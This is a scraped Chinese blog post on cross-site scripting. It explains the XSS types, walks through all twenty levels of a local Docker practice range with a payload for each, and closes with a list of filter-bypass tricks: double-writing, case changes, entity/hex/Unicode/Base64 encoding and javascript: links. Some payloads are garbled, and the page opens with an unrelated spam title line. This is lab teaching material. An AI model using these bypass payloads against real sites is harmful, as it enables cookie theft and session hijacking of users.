中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁(yè) > news >正文

云南城鄉(xiāng)建設(shè)網(wǎng)站如何自己創(chuàng)建網(wǎng)址

云南城鄉(xiāng)建設(shè)網(wǎng)站,如何自己創(chuàng)建網(wǎng)址,武漢市城鄉(xiāng)建設(shè)委員會(huì)官方網(wǎng)站,網(wǎng)站托管網(wǎng)站建設(shè)競(jìng)價(jià)托管[漏洞篇]XSS漏洞 一、 介紹 概念 XSS:通過(guò)JS達(dá)到攻擊效果 XSS全稱跨站腳本(Cross Site Scripting),為避免與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故縮寫為XSS。這是一種將任意 Javascript 代碼插入到其他Web用戶頁(yè)面里執(zhí)行以…

[漏洞篇]XSS漏洞

一、 介紹

概念

XSS:通過(guò)JS達(dá)到攻擊效果

XSS全稱跨站腳本(Cross Site Scripting),為避免與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故縮寫為XSS。這是一種將任意 Javascript 代碼插入到其他Web用戶頁(yè)面里執(zhí)行以達(dá)到攻擊目的的漏洞。攻擊者利用瀏覽器的動(dòng)態(tài)展示數(shù)據(jù)功能,在HTML頁(yè)面里嵌入惡意代碼。當(dāng)用戶瀏覽改頁(yè)時(shí),這些潛入在HTML中的惡意代碼會(huì)被執(zhí)行,用戶瀏覽器被攻擊者控制,從而達(dá)到攻擊者的特殊目的,如 cookie竊取等。

危害

攻擊者通過(guò)Web應(yīng)用程序發(fā)送惡意代碼,一般以瀏覽器腳本的形式發(fā)送給不同的終端用戶。當(dāng)一個(gè)Web程序的用戶輸入點(diǎn)沒(méi)有進(jìn)行校驗(yàn)和編碼,將很容易的導(dǎo)致XSS。

攻擊者可通過(guò)JS腳本實(shí)現(xiàn):

1、網(wǎng)絡(luò)釣魚,包括獲取各類用戶賬號(hào)
2、竊取用戶cookies資料,從而獲取用戶隱私信息,或利用用戶身份進(jìn)一步對(duì)網(wǎng)站執(zhí)行操作;
3、劫持用戶(瀏覽器)會(huì)話,從而執(zhí)行任意操作,例如非法轉(zhuǎn)賬、強(qiáng)制發(fā)表日志、電子郵件等
4、強(qiáng)制彈出廣告頁(yè)面、刷流量等
5、網(wǎng)頁(yè)掛馬;
6、進(jìn)行惡意操作,如任意篡改頁(yè)面信息、刪除文章等
7、進(jìn)行大量的客戶端攻擊,如ddos等
8、獲取客戶端信息,如用戶的瀏覽歷史、真實(shí)p、開放端口等
9、控制受害者機(jī)器向其他網(wǎng)站發(fā)起攻擊;
10、結(jié)合其他漏洞,如csrf,實(shí)施進(jìn)步危害;
11、提升用戶權(quán)限,包括進(jìn)一步滲透網(wǎng)站
12、傳播跨站腳本蠕蟲等

原理

形成XSS漏洞的主要原因是程序?qū)斎牒洼敵龅目刂撇粔驀?yán)格,導(dǎo)致“精心構(gòu)造”的腳本輸入后,在輸?shù)角岸藭r(shí)被瀏覽器當(dāng)作有效代碼解析執(zhí)行從而產(chǎn)生危害。主要原因是:瀏覽器執(zhí)行了黑客帶有惡意的JS腳本。

分類

1. 反射型XSS

  • 概念:又稱非持久型XSS,這種攻擊方式往往具有一次性,只在用戶單擊時(shí)觸發(fā)。跨站代碼一般存在鏈接中,當(dāng)受害者請(qǐng)求這樣的鏈接時(shí),跨站代碼經(jīng)過(guò)服務(wù)端反射回來(lái),這類跨站的代碼通常不存儲(chǔ)服務(wù)
  • 常見注入點(diǎn):網(wǎng)站的搜索欄、用戶登錄入口、輸入表單等地方,常用來(lái)竊取客戶端cookies或釣魚欺騙
  • 漏洞產(chǎn)生原因:一般是網(wǎng)站只是簡(jiǎn)單地將用戶輸入的數(shù)據(jù)直接或未經(jīng)過(guò)完善的安全過(guò)濾就在瀏覽器中進(jìn)行輸岀,導(dǎo)致輸岀的欻據(jù)中存在可被瀏覽器執(zhí)行的代碼數(shù)據(jù)
  • 攻擊方式:攻擊者通過(guò)電子郵件等方式將包含XSS代碼的惡意鏈接發(fā)送給目標(biāo)用戶。當(dāng)目標(biāo)用戶訪問(wèn)該鏈接時(shí),服務(wù)器接受該目標(biāo)用戶的請(qǐng)求并進(jìn)行處理,然后服務(wù)器把帶有XSS的代碼發(fā)送給目標(biāo)用戶的瀏覽器,瀏覽器解析這段帶有XSS代碼的惡意腳本后,就會(huì)觸發(fā)XSS漏洞。由于此種類型的跨站代碼存在于URL中,所以黑客通常需要通過(guò)誘騙或加密變形等方式將存在惡意代碼的鏈接發(fā)給用戶,只有用戶點(diǎn)擊以后才能使得攻擊成功實(shí)施。
  • 反射型XSS攻擊流程:
    1.攻擊者尋找具有漏洞的網(wǎng)站
    2.攻擊者給用戶發(fā)了一個(gè)帶有惡意字符串的鏈接
    3.用戶點(diǎn)擊了該鏈接
    4.服務(wù)器返回HTML文檔,此時(shí)該文檔已經(jīng)包含了那個(gè)惡意字符串
    5.客戶端執(zhí)行了植入的惡意腳本,XSS攻擊就發(fā)生

2. 存儲(chǔ)型XSS

  • 概念:存儲(chǔ)型XSS( Stored xss Attacks),也是持久型XSS,比反射型XSS更具有威脅性。。攻擊腳本將被永久的存放在目標(biāo)服務(wù)器的數(shù)據(jù)庫(kù)或文件中。這是利用起來(lái)最方便的跨站類型,跨站代碼存儲(chǔ)于服務(wù)端(比如數(shù)據(jù)庫(kù)中)
  • 常見注入點(diǎn):論壇、博客、留言板、網(wǎng)站的留言、評(píng)論、日志等交互處。
  • 漏洞產(chǎn)生原因:一般是由于Web應(yīng)用程序?qū)τ脩糨斎霐?shù)據(jù)的不嚴(yán)格,導(dǎo)致Web應(yīng)用程序?qū)⒑诳洼斎氲膼阂饪缯竟魯?shù)據(jù)信息保存在服務(wù)端的數(shù)據(jù)庫(kù)或其他文件形式中。
  • 攻擊方式:攻擊者在發(fā)帖或留言的過(guò)程中,將惡意腳本連同正常信息一起注入到發(fā)布內(nèi)容中。隨著發(fā)布內(nèi)容被服務(wù)器存儲(chǔ)下來(lái),惡意腳本也將永久的存放到服務(wù)器的后端存儲(chǔ)器中。當(dāng)其他用戶瀏覽這個(gè)被注入了 惡意腳本的帖子時(shí),惡意腳本就會(huì)在用戶的瀏覽器中得到執(zhí)行。
  • 存儲(chǔ)型XSS攻擊流程:
    1.用戶提交了一條包含XSS代碼的留言到數(shù)據(jù)庫(kù)
    2.當(dāng)目標(biāo)用戶查詢留言時(shí),那些留言的內(nèi)容會(huì)從服務(wù)器解析之后加載出來(lái)
    3.瀏覽器發(fā)現(xiàn)有XSS代碼,就當(dāng)做正常的HTML和JS解析執(zhí)行

3. DOM型XSS

  • 概念:DoM是文檔對(duì)象模型( Document Object Model)的縮寫。它是HTML文檔的對(duì)象表示,同時(shí)也是外部?jī)?nèi)容(例如 JavaScript)與HTML元素之間的接口。解析樹的根節(jié)點(diǎn)是“ Document"對(duì)象。DOM( Document object model),使用DOM能夠使程序和腳本能夠動(dòng)態(tài)訪問(wèn)和更新文檔的內(nèi)容、結(jié)構(gòu)和樣式。它是基于DoM文檔對(duì)象的一種漏洞,并且DOM型XSS是基于JS上的,并不需要與服務(wù)器進(jìn)行交互。其通過(guò)修改頁(yè)面DOM節(jié)點(diǎn)數(shù)據(jù)信息而形成的ⅩSS跨站腳本攻擊。不同于反射型XSS和存儲(chǔ)型XSS,基于DOM的XSS跨站腳本攻擊往往需要針對(duì)具體的 Javascript DOM代碼進(jìn)行分析,并根據(jù)實(shí)際情況進(jìn)行XSS跨站腳本攻擊的利用。一種基于DOM的跨站,這是客戶端腳本本身解析不正確導(dǎo)致的安全問(wèn)題
  • 注入點(diǎn):通過(guò)js腳本對(duì)對(duì)文檔對(duì)象進(jìn)行編輯,從而修改頁(yè)面的元素。也就是說(shuō),客戶端的腳本程序可以DOM動(dòng)態(tài)修改頁(yè)面的內(nèi)容,從客戶端獲取DOM中的數(shù)據(jù)并在本地執(zhí)行。由于DOM是在客戶端修改節(jié)點(diǎn)的,所 以基于DOM型的XSS漏洞不需要與服務(wù)器端交互,它只發(fā)生在客戶端處理數(shù)據(jù)的階段。
  • 攻擊方式:用戶請(qǐng)求一個(gè)經(jīng)過(guò)專門設(shè)計(jì)的URL,它由攻擊者提供,而且其中包含XSS代碼。服務(wù)器的響應(yīng)不會(huì)以任何形式包含攻擊者的腳本,當(dāng)用戶的瀏覽器處理這個(gè)響應(yīng)時(shí),DOM對(duì)象就會(huì)處理XSS代碼,導(dǎo)致存 在XSS漏洞。
  • 攻擊流程:
    1.攻擊者尋找具有漏洞的網(wǎng)站
    2.攻擊者給用戶發(fā)了一個(gè)帶有惡意字符串的鏈接
    3.用戶點(diǎn)擊了該鏈接
    4.服務(wù)器返回HTML文檔,但是該文檔此時(shí)不包含那個(gè)惡意字符串
    5.客戶端執(zhí)行了該HTML文檔里的腳本,然后把惡意腳本植入了頁(yè)面
    6.客戶端執(zhí)行了植入的惡意腳本,XSS攻擊就發(fā)生了
  • 反射型XSS與DOM型區(qū)別:
    1、反射型XSS攻擊中,服務(wù)器在返回HTML文檔的時(shí)候,就已經(jīng)包含了惡意的腳本;
    2、DOM型ⅩSS攻擊中,服務(wù)器在返回HTML文檔的時(shí)候,是不包含惡意腳本的;惡意腳本是在其執(zhí)行了非惡意腳本后,被注入到文檔里的
    通過(guò)JS腳本對(duì)對(duì)文檔對(duì)象進(jìn)行編輯,從而修改頁(yè)面的元素。也就是說(shuō),客戶端的腳本程序可以DOM動(dòng)態(tài)修改頁(yè)面的內(nèi)容,從客戶端獲取DOM中的數(shù)據(jù)并在本地執(zhí)行。由于DOM是在客戶端修改節(jié)點(diǎn)的,所以基于DOM型的XSS漏洞不需要與服務(wù)器端交互,它只發(fā)生在客戶端處理數(shù)據(jù)的階段。

4. 其他類型(MXSS、UXSS)

①M(fèi)XSS(Mutation based Cross-Site-Scripting):突變型XSS
MXSS是一種利用瀏覽器中的解析器漏洞來(lái)執(zhí)行惡意腳本的攻擊方式。這種攻擊方式不僅可以竊取用戶的敏感信息,還可以篡改網(wǎng)頁(yè)內(nèi)容,甚至控制用戶會(huì)話。mXSS漏洞通常隱藏在前端代碼中,很難被發(fā)現(xiàn)。

原理:瀏覽器在解析HTML或修改DOM時(shí)(如通過(guò)innerHTML、框架的模板引擎等),可能對(duì)內(nèi)容進(jìn)行重新編碼或結(jié)構(gòu)化調(diào)整。

HTML被認(rèn)為是一種“寬容”的語(yǔ)言,因?yàn)樗谟龅藉e(cuò)誤或意外代碼時(shí)具有寬容的特性。與一些更嚴(yán)格的編程語(yǔ)言不同,即使代碼編寫得不完美,HTML也會(huì)優(yōu)先顯示內(nèi)容。這種寬容的表現(xiàn)如下:
當(dāng)呈現(xiàn)錯(cuò)誤的標(biāo)記時(shí),瀏覽器不會(huì)崩潰或顯示錯(cuò)誤信息,而是會(huì)嘗試盡可能地解釋和修復(fù)HTML。
例如:

  • 將轉(zhuǎn)義字符(如<)恢復(fù)為原始字符(<)。
  • 調(diào)整標(biāo)簽閉合順序或修復(fù)格式錯(cuò)誤的HTML。
  • 這種自動(dòng)修復(fù)行為可能使原本無(wú)害的轉(zhuǎn)義內(nèi)容被還原為可執(zhí)行的腳本。

案例1:

用戶輸入<img src=x οnerrοr=alert(1)>被轉(zhuǎn)義為<img src=x οnerrοr=alert(1)>后插入到DOM中。若后續(xù)通過(guò)innerHTML將內(nèi)容修改為:

// escapedContent為轉(zhuǎn)義后的字符串
div.innerHTML = "User input: " + escapedContent;

瀏覽器可能將<解析為<,導(dǎo)致標(biāo)簽被重建并執(zhí)行onerror事件。

案例2:瀏覽器自動(dòng)修復(fù)

攻擊者提交格式錯(cuò)誤的HTML片段(如未閉合的標(biāo)簽

②UXSS(Universal Cross-Site Scripting):通用型XSS
通用型XSS,也叫Universal XSS。UXSS保留了基本XSS的特點(diǎn),利用漏洞,執(zhí)行惡意代碼,但是有一個(gè)重要的區(qū)別:不同于常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴(kuò)展漏洞來(lái)制造產(chǎn)生XSS的條件并執(zhí)行代碼的一種攻擊類型。

通俗的說(shuō),就是原來(lái)我們進(jìn)行XSS攻擊等都是針對(duì)Web應(yīng)用本身,是因?yàn)閃eb應(yīng)用本身存在漏洞才能被我們利用攻擊;而UXSS不同的是通過(guò)瀏覽器或者瀏覽器擴(kuò)展的漏洞來(lái)”制作ⅩSS漏洞”,然后剩下的我們就可以像普通XSS那樣利用攻擊了。

簡(jiǎn)單的說(shuō),UXSS不需要—個(gè)漏洞頁(yè)面來(lái)觸發(fā)攻擊,它可以滲透入安全沒(méi)有問(wèn)題的頁(yè)面,從而創(chuàng)造一個(gè)漏洞,而該頁(yè)面原先是安全無(wú)漏洞的。 不僅是瀏覽器本身的漏洞,現(xiàn)在主流瀏覽器都支持?jǐn)U展程序的安裝,而眾多的瀏覽器擴(kuò)展程序可能導(dǎo)致帶來(lái)更多的漏洞和安全問(wèn)題。 因?yàn)閁XSS攻擊不需要頁(yè)面本身存在漏洞,同時(shí)可能訪問(wèn)其他安全無(wú)漏洞頁(yè)面,使得UXSS成為XSS里危險(xiǎn)和最具破壞性的攻擊類型之一

二、 實(shí)戰(zhàn)演示

靶場(chǎng)搭建

本地需要有docker環(huán)境,這里主要通過(guò)docker搭建靶場(chǎng)。

# 拉取鏡像
docker pull c0ny1/xss-challenge-tour # 運(yùn)行容器
docker run -dt --name xss -p 8080:80 --rm c0ny1/xss-challenge-tour 
# docker run -dt --name xss -p 8081:80 --rm c0ny1/xss-challenge-tour 

輸入http://localhost:8080/訪問(wèn)靶場(chǎng):
在這里插入圖片描述

實(shí)戰(zhàn)

Pass01:直接<script>構(gòu)造js

  1. 我們來(lái)到第一關(guān)
    在這里插入圖片描述

  2. 發(fā)現(xiàn)頁(yè)面有展示test,而test的參數(shù)來(lái)源于name=test,也就是頁(yè)面會(huì)反顯URL中的name值。此時(shí)我們嘗試將name后面改為js腳本:<script>alert(‘xss’)</script>,讓瀏覽器在反顯階段執(zhí)行js,最終實(shí)現(xiàn)xss注入。
    在這里插入圖片描述

  3. 回車,瀏覽器成功將js解析,成功完成xss注入
    在這里插入圖片描述

Pass02:閉合構(gòu)造js

  1. 我們來(lái)到第二關(guān),搜索框內(nèi)輸入第一關(guān)的JS腳本:<script>alert(‘xss’)</script>。點(diǎn)擊搜索發(fā)現(xiàn)頁(yè)面并沒(méi)有執(zhí)行js
    在這里插入圖片描述
  2. 我們f12查看元素,發(fā)現(xiàn)輸入的js腳本被當(dāng)做了value值,因此瀏覽器并沒(méi)有執(zhí)行我們注入的js在這里插入圖片描述
  3. 此時(shí),我們可以在之前的腳本內(nèi)容添加"> 實(shí)現(xiàn)對(duì)input標(biāo)簽value值的閉合,于是我們的注入腳本就變成了
"> <script>alert('xss')</script>
  1. 點(diǎn)擊搜索,成功通關(guān)
    在這里插入圖片描述

Pass03:其他屬性,onmouseover

  1. 輸入我們第二關(guān)的腳本"> <script>alert(‘xss’)</script> 發(fā)現(xiàn)不起作用,的<>已經(jīng)被過(guò)濾掉了,無(wú)法構(gòu)成完整的腳本
    在這里插入圖片描述
  2. 因?yàn)榇藭r(shí)是在input標(biāo)簽內(nèi)部,所以我們可以利用其他的語(yǔ)法來(lái)實(shí)現(xiàn)注入,并且不添加</script>,比如onmouseover屬性,當(dāng)鼠標(biāo)移動(dòng)到該位置時(shí),觸發(fā)。注入腳本:
xx' onmouseover='alert(/xss/)

在這里插入圖片描述
3. 現(xiàn)在,我們只需要將鼠標(biāo)移動(dòng)到input搜索框中,觸發(fā)onmouseover事件即可
在這里插入圖片描述

Pass04:引號(hào)變化

  1. 來(lái)到第四關(guān),我們發(fā)現(xiàn)第三關(guān)的腳本無(wú)法使用了,因?yàn)闃?gòu)造的引號(hào)方式閉合問(wèn)題,導(dǎo)致無(wú)法使用。
xx' onmouseover='alert(/xss/)

在這里插入圖片描述

  1. 于是自然而然就想到,將注入腳本的單引號(hào)換成雙引號(hào)
xx" onmouseover="alert(/xss/)

在這里插入圖片描述

Pass05:偽鏈接

  1. 來(lái)到第五關(guān),我們輸入之前注入的腳本:xx" onmouseover="alert(/xss/),發(fā)現(xiàn)on被替換為了o_n,于是onmouseover事件就失效了
    在這里插入圖片描述
  2. 事件無(wú)法使用了,下面我們可以嘗試通過(guò)偽鏈接方式假造一個(gè)超鏈接嘗試
# 新增a標(biāo)簽,注入鏈接,點(diǎn)擊后隨機(jī)觸發(fā)腳本
"> <a href="javascript:alert('xss')">點(diǎn)我一下</a>

在這里插入圖片描述
3. 點(diǎn)擊超鏈接,成功觸發(fā)腳本
在這里插入圖片描述

Pass06:大小寫繞過(guò)

  1. 輸入XSS腳本嘗試:"><script>alert(/xss/)</script>發(fā)現(xiàn)script關(guān)鍵字被過(guò)濾
    在這里插入圖片描述
  2. 我們首先想到大小寫繞過(guò),嘗試一下
"><SCRIPT>alert(/xss/)</SCRIPT>
  1. 發(fā)現(xiàn)成功繞過(guò)
    在這里插入圖片描述

Pass07:雙寫繞過(guò)

  1. 我們輸入腳本嘗試:"><script>alert(/xss/)</script>發(fā)現(xiàn)整個(gè)script被替換為空
    在這里插入圖片描述
  2. 遇到這種替換的,我們需要有一定敏感性,首先應(yīng)該想到雙寫繞過(guò)
111"><scrscriptipt>alert(/xss/)</scrscriptipt>
  1. 發(fā)現(xiàn)成功繞過(guò),執(zhí)行腳本
    在這里插入圖片描述

Pass08:HTML字符實(shí)體編碼繞過(guò)

  1. 我們嘗試腳本"><script>alert(/xss/)</script>,發(fā)現(xiàn)script被過(guò)濾
    在這里插入圖片描述
  2. 我們嘗試javascript:alert(‘xss’)發(fā)現(xiàn)也被過(guò)濾替換
    在這里插入圖片描述
  3. 此時(shí),我們可以嘗試編碼,將javascript:alert(‘xss’)進(jìn)行編碼

編碼在線地址:https://config.net.cn/tools/HtmlEncode.html

在這里插入圖片描述

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

在這里插入圖片描述
4. 點(diǎn)擊友情鏈接,發(fā)現(xiàn)成功觸發(fā)腳本
在這里插入圖片描述

Pass09:http協(xié)議頭繞過(guò)

  1. 來(lái)到第九關(guān),發(fā)現(xiàn)還是合法鏈接類型,于是嘗試第八關(guān)的腳本,發(fā)現(xiàn)提示我們鏈接不合法
# 編碼前內(nèi)容:javascript:alert('xss')
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

在這里插入圖片描述
2. 看來(lái)是我們編碼前內(nèi)容不滿足鏈接格式,作為超鏈接,需要http://或https://,于是我們猜測(cè)后端有校驗(yàn)傳入的鏈接中是否有包含http,我們?cè)诰幋a后的腳本末尾添加上//http://,//用于注釋后面的http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;//http://

在這里插入圖片描述
3. 點(diǎn)擊鏈接,發(fā)現(xiàn)能正常被觸發(fā)
在這里插入圖片描述

Pass10:隱藏輸入框繞過(guò)

  1. 來(lái)到第10關(guān),我們發(fā)現(xiàn)頁(yè)面沒(méi)有輸入框讓我們傳參,但我們知道,輸入框只是讓用戶輸入?yún)?shù)的一種方式,沒(méi)有輸入框我們也可以進(jìn)行傳參,先看看源碼,觀察需要我們輸入什么參數(shù)
    在這里插入圖片描述
  2. 我們嘗試在URL上輸入這三個(gè)參數(shù)?t_link=1&t_history=2&t_sort=3
    在這里插入圖片描述
  3. 這下我們找到了XSS注入點(diǎn),我們可以通過(guò)t_sort參數(shù)構(gòu)造攻擊腳本,輸入?t_sort=<script>alert(/xss/)</script>,發(fā)現(xiàn)<script>被過(guò)濾
    在這里插入圖片描述
  4. 于是我們需要嘗試不帶<>的攻擊腳本,因?yàn)槭禽斎肟?#xff0c;我們可以嘗試點(diǎn)擊事件,onclick
# 這里的type=""是為了覆蓋原有的tpye=hidden,讓輸入框暴露出來(lái),這樣我們才能點(diǎn)擊觸發(fā)腳本
" onclick="alert(/xss/)" type=""

在這里插入圖片描述
5. 我們點(diǎn)擊輸入框,發(fā)現(xiàn)成功觸發(fā)腳本
在這里插入圖片描述

Pass11:Referer請(qǐng)求頭注入

  1. 我們嘗試上面的注入方式,發(fā)現(xiàn)沒(méi)有效果
# 這里的type=""是為了覆蓋原有的tpye=hidden,讓輸入框暴露出來(lái),這樣我們才能點(diǎn)擊觸發(fā)腳本
" onclick="alert(/xss/)" type=""
  1. 此時(shí)我們可以嘗試HTTP請(qǐng)求頭,多次嘗試之后,我們發(fā)現(xiàn)HTTP 的Referer對(duì)應(yīng)的值,會(huì)反顯到我們的form表單t_ref里。

tips:如果發(fā)現(xiàn)bp代理失效,抓不到包,可能是因?yàn)閎p默認(rèn)代理端口與我們靶場(chǎng)端口沖突了(8080),只需要重新配置bp代理端口或修改docker靶場(chǎng)映射端口即可

在這里插入圖片描述
可以看到t_ref里的值已經(jīng)成功變?yōu)榱宋覀僐eferer的值:
在這里插入圖片描述
下面我們就可以構(gòu)造XSS語(yǔ)句,通過(guò)修改HTTP Referer實(shí)現(xiàn)XSS:

Referer: " onmouseover="alert(1)" type="text"  

在這里插入圖片描述
觸發(fā)XSS:
在這里插入圖片描述
在這里插入圖片描述

Pass12:User-Agent注入

Pass11 嘗試過(guò)了Referer,下面我們猜測(cè)t_ua指的是HTTP請(qǐng)求頭中的User-Agent,同時(shí)我們通過(guò)t_ua對(duì)應(yīng)的值其實(shí)也可以看出來(lái)。本地電腦的User-Agent會(huì)反顯到這個(gè)表單的t_ua里。
在這里插入圖片描述
于是,步驟與上面一致,我們bp抓包修改User-Agent:

//點(diǎn)擊觸發(fā)
User-Agent: " onclick="alert(/xss/)" type="text  

在這里插入圖片描述

Pass13:Cookie注入

來(lái)到本關(guān),有了前面兩關(guān)的經(jīng)驗(yàn),我們猜測(cè)這個(gè)隱藏表單里最后一個(gè)輸入框,對(duì)應(yīng)的其實(shí)是HTTP請(qǐng)求頭的字段。那么t_cook,我們猜測(cè)是HTTP請(qǐng)求頭中的Cookie。
在這里插入圖片描述
老規(guī)矩,還是通過(guò)Burpsuite抓包,然后注入XSS語(yǔ)句:
在這里插入圖片描述
點(diǎn)擊輸入框,觸發(fā)XSS:
在這里插入圖片描述

Pass14:圖片EXIF注入

來(lái)到14關(guān),我們發(fā)現(xiàn)頁(yè)面直接黑屏,沒(méi)有任何內(nèi)容
在這里插入圖片描述
我們F12打開開發(fā)者工具,發(fā)現(xiàn)頁(yè)面存在iframe標(biāo)簽,頁(yè)面通過(guò)<iframe>加載外部圖片查看器,理論上需利用圖片EXIF信息注入XSS,即需上傳包含惡意腳本的圖片,利用解析EXIF的漏洞觸發(fā)XSS

在這里插入圖片描述
使用工具(如exiftool)修改圖片EXIF注釋:

exiftool -Comment='<img src=1 onerror=alert(1)>' image.jpg  

然后我們上傳圖片,讓頁(yè)面解析,觸發(fā)xss漏洞。

Pass15:JS動(dòng)態(tài)包含漏洞注入

來(lái)到第15關(guān),我們發(fā)現(xiàn)只有一張圖片:
在這里插入圖片描述
繼續(xù)查看源碼,我們發(fā)現(xiàn)本關(guān)使用的是AngularJS的ng-include動(dòng)態(tài)包含文件
在這里插入圖片描述
于是我們可以通過(guò)src參數(shù)引用外部文件,這里我們利用ng-include包含存在漏洞的Level1頁(yè)面,并傳遞XSS Payload,構(gòu)造URL參數(shù):

# 我們將外部文件的src鏈接指向第一關(guān),并通過(guò)URL Payload構(gòu)造XSS
# src后面拼接的參數(shù)將會(huì)被反顯到頁(yè)面的ng-include中
http://靶場(chǎng)地址/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'  

因?yàn)槲噎h(huán)境不滿足,所以這里貼一張別人的通關(guān)的效果圖:
在這里插入圖片描述

Pass16:編碼繞過(guò)

我們發(fā)現(xiàn)keyword中的值會(huì)被反顯到頁(yè)面中:
在這里插入圖片描述
同時(shí)經(jīng)過(guò)測(cè)試,該關(guān)卡過(guò)濾了空格和script關(guān)鍵字,但未過(guò)濾尖括號(hào),由于HTML中換行符%0a或%0d可替代空格,可以用于拼接事件屬性。故構(gòu)造payload如下:

<img%0dsrc=a%0donerror=alert(1)>

在這里插入圖片描述

Pass17:flash事件觸發(fā)

觀察頁(yè)面源碼發(fā)現(xiàn),本關(guān)直接將URL后面的參數(shù)拼接到了embed中:
在這里插入圖片描述
在這里插入圖片描述
利用這個(gè)特性,我們可以第二參數(shù)傳入XSS Payload,構(gòu)造XSS:

arg01=a&arg02=%20onmouseover=alert`1`

在這里插入圖片描述

Pass18:flash事件觸發(fā)

本關(guān)payload與pass17相同:

arg01=a&arg02=%20onmouseover=alert`1`

在這里插入圖片描述

Pass19:flash漏洞

本關(guān)是利用Flash XSS漏洞,需利用flash自身漏洞

原理:利用Flash文件(.swf)的參數(shù)處理缺陷,通過(guò)分析反編譯后的Flash代碼(如使用JPEXS工具),發(fā)現(xiàn)arg01=version時(shí),arg02的值會(huì)被拼接到Flash的鏈接邏輯中,雖然參數(shù)通過(guò)htmlspecialchars實(shí)體化處理,但Flash內(nèi)部未對(duì)href屬性內(nèi)容充分過(guò)濾,且允許通過(guò)javascript:協(xié)議執(zhí)行代碼,故可以構(gòu)造payload
關(guān)鍵:
arg01需設(shè)置為version 觸發(fā)Flash中特定邏輯
arg02需構(gòu)造包含惡意代碼的HTML標(biāo)簽
通過(guò)<a>標(biāo)簽的href屬性注入javascript:協(xié)議代碼

構(gòu)造后的payload:

?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>?arg01=a&arg02="onmouseover=alert`1` "

這里我環(huán)境不允許,大家可以自行嘗試(其他人的效果圖貼到這里了):
在這里插入圖片描述

Pass20:zeroclipboard.swf漏洞

本關(guān)通過(guò)標(biāo)簽加載xsf04.swf文件(實(shí)際為zeroclipboard.swf的漏洞版本),而存在核心漏洞是Flash代碼未對(duì)參數(shù)進(jìn)行嚴(yán)格過(guò)濾,導(dǎo)致通過(guò)URL參數(shù)注入惡意代碼

故反編譯zeroclipboard.swf后分析源碼:

  • 可以看到Flash通過(guò)LoaderInfo從URL參數(shù)arg01和arg02中讀取值
    在這里插入圖片描述
  • 關(guān)鍵漏洞函數(shù)為ExternalInterface.call
    在這里插入圖片描述
    用于與JavaScript交互。故需構(gòu)造參數(shù)閉合arg02原有邏輯并插入惡意代碼。
    得到:
?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width%26height

在這里插入圖片描述

三、繞過(guò)手段

1. 前端過(guò)濾

有些防止XSS是通過(guò)前端js判斷的,此時(shí)我們就可以BrupSuite抓包繞過(guò)或禁用js。

BrupSuite抓包改包繞過(guò)。

2. 雙寫繞過(guò)

<scri<script>pt>alert(xss)</scri<script>pt>

3. 事件過(guò)濾

替換其他事件,如:onclick,onmousemove事件

4. 大小寫繞過(guò)

<SCRIPT>aLeRT(111)</sCRIpt>

5. 注釋干擾繞過(guò)

如:<scri<!–test–> pt> alert(xss);</scr<!–test–> ipt>

6. 偽協(xié)議繞過(guò)

如:

 111"> <a href= "javascript:alert(document.domain)">xss </a>< table background= "javascript:alert(/xss/)"> </table><img srC= "javascript:alert('ss);" >

7. 回車/空格/Tab繞過(guò)

// 回車
< img src= "javascript:alert('xss');" >// 空格
<img src= "javascript:alert('xss');" >// Tab
< img src= "javasc :ript:alert('ss');" >

8. 編碼繞過(guò)

Base64、JS編碼、16進(jìn)制、Unicode編碼、HTML實(shí)體編碼、URL編碼

  1. Base64編碼繞過(guò)

如果過(guò)濾了 < > ’ " script,可以用base64編碼,eval(") eval函數(shù)把字符串 當(dāng)做程序執(zhí)行atob函數(shù)是將base64密文轉(zhuǎn)換為明文。
base64編碼多用于如下兩種情況:

  1. <a href= “可控點(diǎn)”>
  2. < iframe src= “可控點(diǎn)”>
    舉例:
    <a href= “data:text/html;base64,PGItZyBzcmM9eCBvbmVycm9yPWFsZXJOKDEpPg==”>test<
    /a>
    這樣當(dāng)test A鏈接點(diǎn)擊時(shí)就會(huì)以data協(xié)議頁(yè)面以html/text的方式解析編碼為base64然后單點(diǎn)擊a鏈接時(shí)base64的編碼就被還原成我們?cè)镜?lt; img src=x οnerrοr= alert(1)>
  1. JS編碼

八進(jìn)制:三個(gè)八進(jìn)制數(shù)字,如果個(gè)數(shù)不夠,在前面補(bǔ)0,例如"e’的編碼為"\145"

  1. 16進(jìn)制編碼

兩個(gè)十六進(jìn)制數(shù)字,如果個(gè)數(shù)不夠,在前面補(bǔ)0,'e’的編碼為"\x65"
十六進(jìn)制前面加上\x可以被JS識(shí)別
尖括號(hào)被轉(zhuǎn)義時(shí),利用十六進(jìn)制繞過(guò)
如:\x3cscript\x3ealert(document.domain);\x3c/script\x3e

  1. Unicode編碼繞過(guò)

四個(gè)十六進(jìn)制數(shù)字,如果個(gè)數(shù)不夠,在前面補(bǔ)0,'e’的編碼為"\u0065"
十六進(jìn)制前面加上\u00變成JS可識(shí)別的Unicode編碼
\u003cscript\u003ealert(document.domain);\u003c/script\u003e

  1. HTML編碼繞過(guò)

字符編碼:十進(jìn)制、十六進(jìn)制編碼,樣式為"&#數(shù)值;“,例如”<“可以編碼為”<和"<"
<img src="x"οnerrοr= “al&# 101;r 16;(1)”>
瀏覽器是不會(huì)在html|標(biāo)簽里解析js編碼的,所以我們?cè)讦蟦errοr=后面放js中的編碼是不會(huì)解析你放進(jìn)去是什么就是什么。HTML5新增的實(shí)體命名編碼:
: => [冒號(hào)]
=> [換行]
<a href= “javasc ript:alert(1)”>click

  1. URL編碼

進(jìn)行兩次URL全編碼

9. CSS繞過(guò)

  1. IE特性繞過(guò)XSS
